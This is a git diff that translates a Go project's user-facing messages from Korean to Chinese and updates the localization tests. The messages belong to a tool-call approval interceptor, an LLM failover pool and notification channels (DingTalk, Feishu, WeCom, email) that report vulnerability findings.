+ if asset.TaskSource != taskCompanyAssetSource || asset.TaskSourceSummary != "任务创建时关联的公司: "+companyName {
t.Errorf("asset %d provenance=%q/%q", assetID, asset.TaskSource, asset.TaskSourceSummary)
}
}
diff --git a/intercept/intercept.go b/intercept/intercept.go
index 6fb4c83..a49b13a 100644
--- a/intercept/intercept.go
+++ b/intercept/intercept.go
@@ -30,15 +30,15 @@ import (
// (판정 프롬프트 본문)는 번역하지 않으며, [模型] 센티넬(decision_source 분류용 · UI 에서
// 표시 전 제거 · db SQL LIKE·HasPrefix 소비처와 결합)도 원문 그대로 둔다.
const (
- msgReviewContextIncomplete = "검토 맥락이 완전하지 않아 사람의 확인이 필요합니다: "
- msgModelApprovalFailed = "모델 승인에 실패하여 실패 정책에 따라 처리합니다: "
- msgModelOutputUnparsable = "모델 출력을 해석할 수 없어 실패 정책에 따라 처리합니다"
- msgToolApprovalRequestFmt = "도구 %s 승인 요청 (#%d)"
- reasonWorkCanceled = "작업이 취소되었습니다"
- reasonWorkCanceledPreExec = "실행 전에 작업이 취소되었습니다"
- reasonApprovalTimeout = "승인 시간이 초과되어 시간 초과 정책에 따라 처리합니다"
- reasonManualDeny = "사람이 실행을 거부했습니다"
- reasonManualAllow = "사람이 실행을 허용했습니다"
+ msgReviewContextIncomplete = "审查上下文不完整,需要人工确认:"
+ msgModelApprovalFailed = "模型审批失败,将按失败策略处理:"
+ msgModelOutputUnparsable = "无法解析模型输出,将按失败策略处理"
+ msgToolApprovalRequestFmt = "工具 %s 审批请求 (#%d)"
+ reasonWorkCanceled = "任务已取消"
+ reasonWorkCanceledPreExec = "执行前任务已取消"
+ reasonApprovalTimeout = "审批超时,将按超时策略处理"
+ reasonManualDeny = "人工拒绝执行"
+ reasonManualAllow = "人工允许执行"
)
// ctxKey is the unexported context key type to avoid collisions.
@@ -508,11 +508,11 @@ func (i *Interceptor) Judge(ctx context.Context, tool string, arguments json.Raw
func judgeActionLabel(action string) string {
switch action {
case "allow":
- return "허용"
+ return "允许"
case "deny":
- return "차단"
+ return "阻止"
case "ask":
- return "확인 요청"
+ return "请求确认"
default:
return action
}
@@ -566,9 +566,9 @@ func ruleMatches(r compiledRule, toolName string, input []byte) bool {
func defaultMessage(action, name string) string {
switch action {
case "deny":
- return "가로채기 규칙 [" + name + "] 에 따라 이 도구를 실행할 수 없습니다"
+ return "根据拦截规则 [" + name + "],无法执行此工具"
case "ask":
- return "가로채기 규칙 [" + name + "] 에 따라 사용자 승인이 필요합니다. 잠시 기다려 주세요"
+ return "根据拦截规则 [" + name + "],需要用户审批。请稍候"
default:
return ""
}
@@ -681,7 +681,7 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
}
}
-var ErrAlreadyDecided = errors.New("이미 처리되었거나 존재하지 않는 승인입니다. 기록을 새로 고쳐 주세요")
+var ErrAlreadyDecided = errors.New("该审批已处理或不存在,请刷新记录")
// Decide resolves a pending request. Called by the HTTP decide endpoint.
func (i *Interceptor) Decide(pendingID int64, allowed bool) error {
diff --git a/intercept/intercept_localized_test.go b/intercept/intercept_localized_test.go
index d3d061f..0880165 100644
--- a/intercept/intercept_localized_test.go
+++ b/intercept/intercept_localized_test.go
@@ -27,15 +27,15 @@ func hasHan(s string) bool {
return false
}
-// assertKorean fails if s lacks Hangul or still carries Han ideographs. Reverting
-// any localized message back to Chinese trips hasHan, so the test is not vacuous.
-func assertKorean(t *testing.T, label, s string) {
+// assertChinese fails if s lacks Han ideographs or still carries Hangul. Reverting
+// any localized message back to Korean trips hasHangul, so the test is not vacuous.
+func assertChinese(t *testing.T, label, s string) {
t.Helper()
- if !hasHangul(s) {
- t.Errorf("%s: 한글이 없습니다: %q", label, s)
+ if !hasHan(s) {
+ t.Errorf("%s: 缺少汉字: %q", label, s)
}
- if hasHan(s) {
- t.Errorf("%s: 한자가 남아 있습니다: %q", label, s)
+ if hasHangul(s) {
+ t.Errorf("%s: 仍残留韩文: %q", label, s)
}
}
@@ -54,7 +54,7 @@ func TestInterceptMessagesLocalized(t *testing.T) {
{"reasonManualAllow", reasonManualAllow},
{"ErrAlreadyDecided", ErrAlreadyDecided.Error()},
} {
- assertKorean(t, c.name, c.s)
+ assertChinese(t, c.name, c.s)
}
}
@@ -63,7 +63,7 @@ func TestInterceptMessagesLocalized(t *testing.T) {
// passes through untranslated.
func TestJudgeActionLabelLocalized(t *testing.T) {
for _, action := range []string{"allow", "deny", "ask"} {
- assertKorean(t, "judgeActionLabel("+action+")", judgeActionLabel(action))
+ assertChinese(t, "judgeActionLabel("+action+")", judgeActionLabel(action))
}
if got := judgeActionLabel("weird"); got != "weird" {
t.Errorf("judgeActionLabel(weird) = %q, want passthrough", got)
@@ -75,7 +75,7 @@ func TestJudgeActionLabelLocalized(t *testing.T) {
func TestDefaultMessageLocalized(t *testing.T) {
for _, action := range []string{"deny", "ask"} {
msg := defaultMessage(action, "R1")
- assertKorean(t, "defaultMessage("+action+")", msg)
+ assertChinese(t, "defaultMessage("+action+")", msg)
if !strings.Contains(msg, "R1") {
t.Errorf("defaultMessage(%s) dropped rule name: %q", action, msg)
}
@@ -90,11 +90,11 @@ func TestDefaultMessageLocalized(t *testing.T) {
// the tool name via /도구\s+(\S+)\s+승인/.
func TestToolApprovalSummaryLocalized(t *testing.T) {
s := fmt.Sprintf(msgToolApprovalRequestFmt, "Bash", 42)
- assertKorean(t, "msgToolApprovalRequestFmt", s)
+ assertChinese(t, "msgToolApprovalRequestFmt", s)
if !strings.Contains(s, "(#42)") {
t.Errorf("summary lost the (#N) marker (transcript.tsx pending_id regex): %q", s)
}
- if !strings.Contains(s, "도구 Bash 승인") {
- t.Errorf("summary lost the '도구 X 승인' shape (transcript.tsx toolName regex): %q", s)
+ if !strings.Contains(s, "工具 Bash 审批") {
+ t.Errorf("summary lost the '工具 X 审批' shape (transcript.tsx toolName regex): %q", s)
}
}
diff --git a/llmpool/pool.go b/llmpool/pool.go
index bbef420..aeb869a 100644
--- a/llmpool/pool.go
+++ b/llmpool/pool.go
@@ -40,7 +40,7 @@ type Member struct {
const RankActive = int(^uint(0)>>1) - 1
// ErrExhausted is returned when every member of the chain failed.
-var ErrExhausted = errors.New("LLM 폴백 체인: 사용 가능한 설정이 없습니다")
+var ErrExhausted = errors.New("LLM 故障转移链:没有可用的配置")
// Pool is an llm.Provider that fails over across an ordered chain of members.
// It is safe for concurrent use: members are immutable after construction and
diff --git a/llmpool/pool_localized_test.go b/llmpool/pool_localized_test.go
index 30718e9..9b30c55 100644
--- a/llmpool/pool_localized_test.go
+++ b/llmpool/pool_localized_test.go
@@ -32,9 +32,9 @@ func hasHanzi(s string) bool {
// assertSurfacedExhaustion checks the error an exhausted chain hands back: it must
// still wrap the ErrExhausted sentinel (callers rely on errors.Is), read as a
-// Korean message (no Han characters, no full-width colon), and lead with the
+// Chinese message (Han characters present, no Hangul), and lead with the
// localized sentinel text. failProv's body is ASCII ("anthropic: status 402:
-// nope"), so the whole surfaced string must be Han-free.
+// nope"), so the whole surfaced string is expected to be Han-bearing but Hangul-free.
func assertSurfacedExhaustion(t *testing.T, label string, err error) {
t.Helper()
if err == nil {
@@ -44,11 +44,11 @@ func assertSurfacedExhaustion(t *testing.T, label string, err error) {
t.Fatalf("%s: surfaced error no longer wraps ErrExhausted: %v", label, err)
}
msg := err.Error()
- if hasHanzi(msg) {
- t.Errorf("%s: surfaced error still carries Chinese characters: %q", label, msg)
+ if !hasHanzi(msg) {
+ t.Errorf("%s: surfaced error is not localized to Chinese: %q", label, msg)
}
- if strings.ContainsRune(msg, ':') {
- t.Errorf("%s: surfaced error still uses a full-width colon: %q", label, msg)
+ if hasHangul(msg) {
+ t.Errorf("%s: surfaced error still carries Korean characters: %q", label, msg)
}
if !strings.HasPrefix(msg, ErrExhausted.Error()) {
t.Errorf("%s: surfaced error does not lead with the localized sentinel: %q", label, msg)
@@ -60,7 +60,7 @@ func assertSurfacedExhaustion(t *testing.T, label string, err error) {
// transcript. So its text must be Korean, while its identity (errors.Is) must be
// preserved for callers that branch on the sentinel.
func TestExhaustedErrorLocalized(t *testing.T) {
- assertKoreanErrText(t, "ErrExhausted", ErrExhausted.Error())
+ assertChineseErrText(t, "ErrExhausted", ErrExhausted.Error())
// Drive both surfaced paths so a future edit to either wrap site is caught.
streamChain := New([]*Member{
@@ -78,13 +78,13 @@ func TestExhaustedErrorLocalized(t *testing.T) {
assertSurfacedExhaustion(t, "Complete", cerr)
}
-// assertKoreanErrText fails unless s contains Hangul and no Han character.
-func assertKoreanErrText(t *testing.T, label, s string) {
+// assertChineseErrText fails unless s contains a Han character and no Hangul.
+func assertChineseErrText(t *testing.T, label, s string) {
t.Helper()
- if !hasHangul(s) {
- t.Errorf("%s: 한글이 없습니다: %q", label, s)
+ if !hasHanzi(s) {
+ t.Errorf("%s: 缺少汉字: %q", label, s)
}
- if hasHanzi(s) {
- t.Errorf("%s: 중국어 한자가 남아 있습니다: %q", label, s)
+ if hasHangul(s) {
+ t.Errorf("%s: 仍残留韩文: %q", label, s)
}
}
diff --git a/notify/channels_test.go b/notify/channels_test.go
index a93c767..0baaa7e 100644
--- a/notify/channels_test.go
+++ b/notify/channels_test.go
@@ -88,7 +88,7 @@ func TestDingTalkFallsBackToMarkdownForBatch(t *testing.T) {
t.Fatalf("汇总消息应发 markdown,得到 %v", body["msgtype"])
}
md, _ := body["markdown"].(map[string]any)
- if !strings.Contains(md["text"].(string), "최근 30분간") {
+ if !strings.Contains(md["text"].(string), "最近 30 分钟") {
t.Errorf("汇总正文缺少时间窗: %v", md["text"])
}
})
@@ -251,7 +251,7 @@ func TestWebhookDefaultTemplateProducesValidJSON(t *testing.T) {
// 这条是默认模板存在的意义:标题里带引号与换行时,任何朴素的
// `"title": "{{.Title}}"` 写法都会产出非法 JSON。{{json .}} 才不会。
srv := capturePost(t, `{"ok":true}`, func(t *testing.T, body map[string]any, _ *http.Request) {
- if body["title"] != `[🟠 높음] 登录处 "SQL注入" 风险` {
+ if body["title"] != `[🟠 高危] 登录处 "SQL注入" 风险` {
t.Errorf("标题未正确还原: %v", body["title"])
}
items, _ := body["items"].([]any)
@@ -414,8 +414,8 @@ func TestChannelValidateReportsMissingFields(t *testing.T) {
{KindTelegram, map[string]any{}, "Bot Token"},
{KindTelegram, map[string]any{"bot_token": "t"}, "Chat ID"},
{KindEmail, map[string]any{}, "SMTP"},
- {KindEmail, map[string]any{"host": "h"}, "포트"},
- {KindEmail, map[string]any{"host": "h", "port": 587, "from": "f"}, "수신자"},
+ {KindEmail, map[string]any{"host": "h"}, "端口"},
+ {KindEmail, map[string]any{"host": "h", "port": 587, "from": "f"}, "收件人"},
}
for _, tc := range cases {
ch, ok := Get(tc.kind)
diff --git a/notify/dingtalk.go b/notify/dingtalk.go
index b31bb52..c8522b0 100644
--- a/notify/dingtalk.go
+++ b/notify/dingtalk.go
@@ -38,10 +38,10 @@ func (dingTalkChannel) DestinationKeys() []string { return []string{"webhook"} }
func (dingTalkChannel) Validate(cfg map[string]any) error {
hook := cfgString(cfg, "webhook")
if hook == "" {
- return errors.New("Webhook 주소가 없습니다")
+ return errors.New("缺少 Webhook 地址")
}
if err := validateHTTPURL(hook); err != nil {
- return fmt.Errorf("Webhook 주소가 올바르지 않습니다: %w", err)
+ return fmt.Errorf("Webhook 地址无效:%w", err)
}
return nil
}
@@ -69,7 +69,7 @@ func (c dingTalkChannel) Send(ctx context.Context, cfg map[string]any, m Message
"title": title,
"text": text,
"btnOrientation": "0",
- "singleTitle": "상세 보기",
+ "singleTitle": "查看详情",
"singleURL": m.Items[0].DetailURL,
},
}
@@ -90,12 +90,12 @@ func (c dingTalkChannel) Send(ctx context.Context, cfg map[string]any, m Message
ErrMsg string `json:"errmsg"`
}
if err := json.Unmarshal(raw, &res); err != nil {
- return 0, fmt.Errorf("DingTalk 응답을 해석하지 못했습니다: %w (%s)", err, snippet(raw))
+ return 0, fmt.Errorf("无法解析 DingTalk 响应:%w (%s)", err, snippet(raw))
}
if res.ErrCode != 0 {
// 301000 是签名校验失败、310000 是关键词不匹配——都是配置错误,
// 重试不会自愈。
- return 0, Permanent(fmt.Errorf("DingTalk에서 오류가 발생했습니다 (%d): %s", res.ErrCode, res.ErrMsg))
+ return 0, Permanent(fmt.Errorf("DingTalk 发生错误 (%d):%s", res.ErrCode, res.ErrMsg))
}
return kept, nil
}
@@ -117,7 +117,7 @@ func dingTalkSignedURL(hook, secret string, now time.Time) (string, error) {
u, err := url.Parse(hook)
if err != nil {
// 不透传 err:url.Parse 的错误文本里带完整地址(含 access_token)。
- return "", fmt.Errorf("Webhook 주소를 해석하지 못했습니다: %s", redactRequestTarget(hook))
+ return "", fmt.Errorf("无法解析 Webhook 地址:%s", redactRequestTarget(hook))
}
q := u.Query()
q.Set("timestamp", ts)
@@ -145,16 +145,16 @@ func dingTalkSignedURL(hook, secret string, now time.Time) (string, error) {
func validateHTTPURL(raw string) error {
u, err := url.Parse(raw)
if err != nil {
- return fmt.Errorf("주소를 해석할 수 없습니다 (%s)", redactRequestTarget(raw))
+ return fmt.Errorf("无法解析地址 (%s)", redactRequestTarget(raw))
}
if u.Scheme != "http" && u.Scheme != "https" {
- return fmt.Errorf("http 또는 https 만 지원합니다. 받은 값: %q", u.Scheme)
+ return fmt.Errorf("仅支持 http 或 https。收到的值:%q", u.Scheme)
}
if u.Host == "" {
- return errors.New("호스트 이름이 없습니다")
+ return errors.New("缺少主机名")
}
if ip := net.ParseIP(u.Hostname()); ip != nil && isBlockedDialIP(ip) && !allowLocalTargets() {
- return fmt.Errorf("로컬 또는 링크 로컬 주소 %s 로는 전송하지 않습니다 (로컬 서비스로 보내야 하면 %s=1 로 설정하세요)", ip, AllowLocalTargetsEnv)
+ return fmt.Errorf("不会向本地或链路本地地址 %s 发送 (如需发送到本地服务,请设置 %s=1)", ip, AllowLocalTargetsEnv)
}
return nil
}
diff --git a/notify/dingtalk_feishu_wecom_localized_test.go b/notify/dingtalk_feishu_wecom_localized_test.go
index eb9da19..27457f6 100644
--- a/notify/dingtalk_feishu_wecom_localized_test.go
+++ b/notify/dingtalk_feishu_wecom_localized_test.go
@@ -40,12 +40,12 @@ func mustJSON(t *testing.T, v any) string {
// 별개로 이 핀이 있어야 飞书 본문만 중국어로 되돌아가는 회귀를 잡는다.
func TestFeishuItemLinesLocalized(t *testing.T) {
got := feishuItemLines(asciiStatusChangeItem())
- assertKorean(t, "feishuItemLines", got)
+ assertChinese(t, "feishuItemLines", got)
for _, want := range []string{
- "**상태 변경**: 처리 대기 → 수정됨",
- "**유형**: SQLi",
- "**자산**: a.example.com",
- "**개요**: SQL injection via q param",
+ "**状态变更**:待处理 → 已修复",
+ "**类型**:SQLi",
+ "**资产**:a.example.com",
+ "**概要**:SQL injection via q param",
} {
if !strings.Contains(got, want) {
t.Errorf("飞书 단건 본문에 %q 가 있어야 합니다:\n%s", want, got)
@@ -59,21 +59,21 @@ func TestFeishuCardButtonsLocalized(t *testing.T) {
// 단건: "상세 보기" 버튼(DetailURL 있을 때)
single, _ := feishuCard(Message{Items: []Item{asciiStatusChangeItem()}})
singleJSON := mustJSON(t, single)
- if hasHan(singleJSON) {
- t.Errorf("단건 飞书 카드에 중국어 한자가 남았습니다:\n%s", singleJSON)
+ if hasHangul(singleJSON) {
+ t.Errorf("단건 飞书 카드에 한글이 남았습니다:\n%s", singleJSON)
}
- if !strings.Contains(singleJSON, "상세 보기") {
- t.Errorf("단건 飞书 카드에 '상세 보기' 버튼이 있어야 합니다:\n%s", singleJSON)
+ if !strings.Contains(singleJSON, "查看详情") {
+ t.Errorf("단건 飞书 카드에 '查看详情' 버튼이 있어야 합니다:\n%s", singleJSON)
}
// 다건: "플랫폼에서 전체 보기" 버튼(HomeURL 있을 때)
batch, _ := feishuCard(Message{Batch: true, HomeURL: "https://platform.example", Items: hanFreeItems(2)})
batchJSON := mustJSON(t, batch)
- if hasHan(batchJSON) {
- t.Errorf("다건 飞书 카드에 중국어 한자가 남았습니다:\n%s", batchJSON)
+ if hasHangul(batchJSON) {
+ t.Errorf("다건 飞书 카드에 한글이 남았습니다:\n%s", batchJSON)
}
- if !strings.Contains(batchJSON, "플랫폼에서 전체 보기") {
- t.Errorf("다건 飞书 카드에 '플랫폼에서 전체 보기' 버튼이 있어야 합니다:\n%s", batchJSON)
+ if !strings.Contains(batchJSON, "在平台查看全部") {
+ t.Errorf("다건 飞书 카드에 '在平台查看全部' 버튼이 있어야 합니다:\n%s", batchJSON)
}
}
@@ -89,8 +89,8 @@ func TestDingTalkActionCardButtonLocalized(t *testing.T) {
if _, err := (dingTalkChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, m); err != nil {
t.Fatalf("투递 실패: %v", err)
}
- if singleTitle != "상세 보기" {
- t.Errorf("钉钉 ActionCard singleTitle 은 '상세 보기' 여야 합니다, 받은 값 %q", singleTitle)
+ if singleTitle != "查看详情" {
+ t.Errorf("钉钉 ActionCard singleTitle 은 '查看详情' 여야 합니다, 받은 값 %q", singleTitle)
}
}
@@ -108,21 +108,21 @@ func TestChinaPlatformValidateLocalized(t *testing.T) {
if missing == nil {
t.Fatalf("%s: 빈 설정은 검증에 실패해야 합니다", kind)
}
- assertKorean(t, kind+" missing", missing.Error())
- if !strings.Contains(missing.Error(), "Webhook") || !strings.Contains(missing.Error(), "없습니다") {
- t.Errorf("%s: 누락 오류는 'Webhook 주소가 없습니다' 여야 합니다, 받은 값 %q", kind, missing)
+ assertChinese(t, kind+" missing", missing.Error())
+ if !strings.Contains(missing.Error(), "Webhook") || !strings.Contains(missing.Error(), "缺少") {
+ t.Errorf("%s: 누락 오류는 '缺少 Webhook 地址' 여야 합니다, 받은 값 %q", kind, missing)
}
- // 잘못된 주소(ftp): "Webhook 주소가 올바르지 않습니다: …"
+ // 잘못된 주소(ftp): "Webhook 地址无效: …"
bad := ch.Validate(map[string]any{"webhook": "ftp://x"})
if bad == nil {
t.Fatalf("%s: ftp 주소는 검증에 실패해야 합니다", kind)
}
- if hasHan(bad.Error()) {
- t.Errorf("%s: 잘못된 주소 오류에 중국어 한자가 남았습니다: %q", kind, bad)
+ if hasHangul(bad.Error()) {
+ t.Errorf("%s: 잘못된 주소 오류에 한글이 남았습니다: %q", kind, bad)
}
- if !strings.Contains(bad.Error(), "Webhook 주소가 올바르지 않습니다") {
- t.Errorf("%s: 잘못된 주소 오류는 'Webhook 주소가 올바르지 않습니다' 로 시작해야 합니다, 받은 값 %q", kind, bad)
+ if !strings.Contains(bad.Error(), "Webhook 地址无效") {
+ t.Errorf("%s: 잘못된 주소 오류는 'Webhook 地址无效' 로 시작해야 합니다, 받은 값 %q", kind, bad)
}
}
}
@@ -138,10 +138,10 @@ func TestChinaPlatformSendErrorsLocalized(t *testing.T) {
resp string
wantSubs []string
}{
- {KindDingTalk, `{"errcode":310000,"errmsg":"keyword not matched"}`, []string{"DingTalk에서 오류가 발생했습니다", "310000"}},
- {KindFeishu, `{"code":19021,"msg":"sign error"}`, []string{"Feishu에서 오류가 발생했습니다", "19021"}},
- {KindWeCom, `{"errcode":45009,"errmsg":"freq out of limit"}`, []string{"WeCom 요청이 제한되었습니다", "45009"}},
- {KindWeCom, `{"errcode":93000,"errmsg":"invalid webhook"}`, []string{"WeCom에서 오류가 발생했습니다", "93000"}},
+ {KindDingTalk, `{"errcode":310000,"errmsg":"keyword not matched"}`, []string{"DingTalk 发生错误", "310000"}},
+ {KindFeishu, `{"code":19021,"msg":"sign error"}`, []string{"Feishu 发生错误", "19021"}},
+ {KindWeCom, `{"errcode":45009,"errmsg":"freq out of limit"}`, []string{"WeCom 请求受限", "45009"}},
+ {KindWeCom, `{"errcode":93000,"errmsg":"invalid webhook"}`, []string{"WeCom 发生错误", "93000"}},
}
for _, tc := range bizCases {
srv := capturePost(t, tc.resp, nil)
@@ -153,8 +153,8 @@ func TestChinaPlatformSendErrorsLocalized(t *testing.T) {
if err == nil {
t.Fatalf("%s: %s 응답은 오류여야 합니다", tc.kind, tc.resp)
}
- if hasHan(err.Error()) {
- t.Errorf("%s: 발송 오류에 중국어 한자가 남았습니다: %q", tc.kind, err)
+ if hasHangul(err.Error()) {
+ t.Errorf("%s: 발송 오류에 한글이 남았습니다: %q", tc.kind, err)
}
for _, sub := range tc.wantSubs {
if !strings.Contains(err.Error(), sub) {
@@ -182,7 +182,7 @@ func TestChinaPlatformSendErrorsLocalized(t *testing.T) {
if err == nil {
t.Fatalf("%s: JSON 이 아닌 응답은 오류여야 합니다", pc.kind)
}
- want := pc.platform + " 응답을 해석하지 못했습니다"
+ want := "无法解析 " + pc.platform + " 响应"
if !strings.Contains(err.Error(), want) {
t.Errorf("%s: 파싱 실패 오류에 %q 가 있어야 합니다, 받은 값 %q", pc.kind, want, err)
}
diff --git a/notify/email.go b/notify/email.go
index bb3cb97..fb4b87c 100644
--- a/notify/email.go
+++ b/notify/email.go
@@ -40,17 +40,17 @@ func (emailChannel) DestinationKeys() []string { return []string{"host", "port",
func (emailChannel) Validate(cfg map[string]any) error {
if cfgString(cfg, "host") == "" {
- return errors.New("SMTP 서버 주소가 없습니다")
+ return errors.New("缺少 SMTP 服务器地址")
}
port := cfgInt(cfg, "port")
if port <= 0 || port > 65535 {
- return errors.New("SMTP 포트가 올바르지 않습니다 (1-65535 범위여야 합니다)")
+ return errors.New("SMTP 端口无效(必须在 1-65535 范围内)")
}
if cfgString(cfg, "from") == "" {
- return errors.New("발신자 주소가 없습니다")
+ return errors.New("缺少发件人地址")
}
if len(cfgStrings(cfg, "to")) == 0 {
- return errors.New("수신자 주소가 최소 하나 필요합니다")
+ return errors.New("至少需要一个收件人地址")
}
return nil
}
@@ -83,7 +83,7 @@ func (c emailChannel) Send(ctx context.Context, cfg map[string]any, m Message) (
if !implicitTLS {
if ok, _ := client.Extension("STARTTLS"); ok {
if err := client.StartTLS(&tls.Config{ServerName: host, MinVersion: tls.VersionTLS12}); err != nil {
- return 0, fmt.Errorf("STARTTLS 실패: %w", err)
+ return 0, fmt.Errorf("STARTTLS 失败:%w", err)
}
}
}
@@ -93,28 +93,28 @@ func (c emailChannel) Send(ctx context.Context, cfg map[string]any, m Message) (
// 这是**正确**的安全行为,不能绕过,但需要把原因翻译清楚——
// 否则使用者只会看到「unencrypted connection」而不知道该怎么办。
if strings.Contains(err.Error(), "unencrypted connection") {
- return 0, Permanent(fmt.Errorf("자격 증명 전송을 거부했습니다: 연결이 암호화되지 않았습니다. TLS 를 켜거나, 465 포트(암시적 TLS)를 사용하거나, 「TLS 사용」을 체크하세요 (%w)", err))
+ return 0, Permanent(fmt.Errorf("拒绝发送凭据:连接未加密。请开启 TLS、使用 465 端口(隐式 TLS),或勾选「使用 TLS」(%w)", err))
}
- return 0, Permanent(fmt.Errorf("SMTP 인증 실패: %w", err))
+ return 0, Permanent(fmt.Errorf("SMTP 认证失败:%w", err))
}
}
if err := client.Mail(from); err != nil {
- return 0, smtpStageError(fmt.Sprintf("발신자 %s 주소가 거부되었습니다", from), err)
+ return 0, smtpStageError(fmt.Sprintf("发件人地址 %s 被拒绝", from), err)
}
for _, rcpt := range to {
if err := client.Rcpt(rcpt); err != nil {
- return 0, smtpStageError(fmt.Sprintf("수신자 %s 주소가 거부되었습니다", rcpt), err)
+ return 0, smtpStageError(fmt.Sprintf("收件人地址 %s 被拒绝", rcpt), err)
}
}
w, err := client.Data()
if err != nil {
- return 0, fmt.Errorf("SMTP DATA 실패: %w", err)
+ return 0, fmt.Errorf("SMTP DATA 失败:%w", err)
}
if _, err := w.Write([]byte(msg)); err != nil {
- return 0, fmt.Errorf("메일 본문 쓰기 실패: %w", err)
+ return 0, fmt.Errorf("写入邮件正文失败:%w", err)
}
if err := w.Close(); err != nil {
- return 0, fmt.Errorf("메일 제출 실패: %w", err)
+ return 0, fmt.Errorf("提交邮件失败:%w", err)
}
// Quit 失败不影响「邮件已被服务器接收」这个事实,因此忽略其错误。
_ = client.Quit()
@@ -145,13 +145,13 @@ func emailDial(ctx context.Context, addr, host string, implicitTLS bool) (*smtp.
conn, err = d.DialContext(ctx, "tcp", addr)
}
if err != nil {
- return nil, fmt.Errorf("SMTP 서버 연결 실패: %w", err)
+ return nil, fmt.Errorf("连接 SMTP 服务器失败:%w", err)
}
_ = conn.SetDeadline(time.Now().Add(emailSessionTimeout))
client, err := smtp.NewClient(conn, host)
if err != nil {
conn.Close()
- return nil, fmt.Errorf("SMTP 핸드셰이크 실패: %w", err)
+ return nil, fmt.Errorf("SMTP 握手失败:%w", err)
}
return client, nil
}
diff --git a/notify/email_test.go b/notify/email_test.go
index 074c275..242e602 100644
--- a/notify/email_test.go
+++ b/notify/email_test.go
@@ -249,7 +249,7 @@ func TestEmailSendRefusesPlaintextCredentials(t *testing.T) {
t.Skip("本机 DNS 解析到了本地服务器,跳过(不影响其它用例)")
}
// 连不上 或 被拒发凭据都算通过这条断言;关键是**不能**静默把密码发出去。
- if !IsPermanent(err) && !strings.Contains(err.Error(), "연결") {
+ if !IsPermanent(err) && !strings.Contains(err.Error(), "连接") {
t.Logf("错误:%v(非 localhost 下未能连上属预期)", err)
}
}
diff --git a/notify/event.go b/notify/event.go
index 843a87d..141ec93 100644
--- a/notify/event.go
+++ b/notify/event.go
@@ -51,7 +51,7 @@ func (i Item) Title() string {
if i.VulnClass != "" {
return i.VulnClass
}
- return "(이름 없는 취약점)"
+ return "(未命名漏洞)"
}
// Message 是一次渠道发送的完整内容。
diff --git a/notify/feishu.go b/notify/feishu.go
index 6b01c60..7a7e8c0 100644
--- a/notify/feishu.go
+++ b/notify/feishu.go
@@ -34,10 +34,10 @@ func (feishuChannel) DestinationKeys() []string { return []string{"webhook"} }
func (feishuChannel) Validate(cfg map[string]any) error {
hook := cfgString(cfg, "webhook")
if hook == "" {
- return errors.New("Webhook 주소가 없습니다")
+ return errors.New("缺少 Webhook 地址")
}
if err := validateHTTPURL(hook); err != nil {
- return fmt.Errorf("Webhook 주소가 올바르지 않습니다: %w", err)
+ return fmt.Errorf("Webhook 地址无效:%w", err)
}
return nil
}
@@ -69,13 +69,13 @@ func (c feishuChannel) Send(ctx context.Context, cfg map[string]any, m Message)
StatusMessage string `json:"StatusMessage"`
}
if err := json.Unmarshal(raw, &res); err != nil {
- return 0, fmt.Errorf("Feishu 응답을 해석하지 못했습니다: %w (%s)", err, snippet(raw))
+ return 0, fmt.Errorf("无法解析 Feishu 响应:%w (%s)", err, snippet(raw))
}
if res.Code != 0 {
- return 0, Permanent(fmt.Errorf("Feishu에서 오류가 발생했습니다 (%d): %s", res.Code, res.Msg))
+ return 0, Permanent(fmt.Errorf("Feishu 发生错误 (%d):%s", res.Code, res.Msg))
}
if res.StatusCode != 0 {
- return 0, Permanent(fmt.Errorf("Feishu에서 오류가 발생했습니다 (%d): %s", res.StatusCode, res.StatusMessage))
+ return 0, Permanent(fmt.Errorf("Feishu 发生错误 (%d):%s", res.StatusCode, res.StatusMessage))
}
return kept, nil
}
@@ -133,14 +133,14 @@ func feishuCard(m Message) (map[string]any, int) {
elements = append(elements, feishuMarkdownDiv(feishuBatchLine(it, i+1)))
}
if m.HomeURL != "" {
- elements = append(elements, feishuButton("플랫폼에서 전체 보기", m.HomeURL))
+ elements = append(elements, feishuButton("在平台查看全部", m.HomeURL))
}
} else if len(m.Items) > 0 {
kept = 1
it := m.Items[0]
elements = append(elements, feishuMarkdownDiv(feishuItemLines(it)))
if it.DetailURL != "" {
- elements = append(elements, feishuButton("상세 보기", it.DetailURL))
+ elements = append(elements, feishuButton("查看详情", it.DetailURL))
}
}
@@ -179,18 +179,18 @@ func feishuButton(label, url string) map[string]any {
func feishuItemLines(it Item) string {
out := fmt.Sprintf("**%s · %s**", SeverityLabel(it.Severity), markdownText(it.Title(), 0))
if it.IsStatusChange() {
- out += fmt.Sprintf("\n**상태 변경**: %s → %s",
+ out += fmt.Sprintf("\n**状态变更**:%s → %s",
markdownText(StatusLabel(it.FromStatus), 0), markdownText(StatusLabel(it.ToStatus), 0))
}
if it.VulnClass != "" && it.VulnClass != it.Title() {
- out += fmt.Sprintf("\n**유형**: %s", markdownText(it.VulnClass, 0))
+ out += fmt.Sprintf("\n**类型**:%s", markdownText(it.VulnClass, 0))
}
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
- out += fmt.Sprintf("\n**자산**: %s", markdownText(a, 0))
+ out += fmt.Sprintf("\n**资产**:%s", markdownText(a, 0))
}
if it.Summary != "" {
if s := markdownText(it.Summary, maxSummaryRunes); s != "" {
- out += fmt.Sprintf("\n**개요**: %s", s)
+ out += fmt.Sprintf("\n**概要**:%s", s)
}
}
return out
diff --git a/notify/filter.go b/notify/filter.go
index e40dced..f7d46c5 100644
--- a/notify/filter.go
+++ b/notify/filter.go
@@ -61,7 +61,7 @@ func ValidMinSeverity(s string) bool {
// 这样历史数据里已经存在的坏值不会让渠道整个读不出来。
func (f Filter) Validate() error {
if !ValidMinSeverity(f.MinSeverity) {
- return fmt.Errorf("올바르지 않은 최소 심각도입니다: %q. low / medium / high / critical 중에서 선택하거나, 비워 두면 제한하지 않습니다", f.MinSeverity)
+ return fmt.Errorf("最低严重级别无效:%q。请从 low / medium / high / critical 中选择,留空表示不限制", f.MinSeverity)
}
return nil
}
diff --git a/notify/html.go b/notify/html.go
index d1adc4b..4ffa490 100644
--- a/notify/html.go
+++ b/notify/html.go
@@ -43,7 +43,7 @@ func htmlBody(m Message, maxRunes int) string {
b.WriteString(htmlItem(m.Items[0], true))
}
if m.HomeURL != "" {
- fmt.Fprintf(&b, `
플랫폼에서 전체 보기
`, htmlEscapeAttr(m.HomeURL))
+ fmt.Fprintf(&b, `在平台查看全部
`, htmlEscapeAttr(m.HomeURL))
}
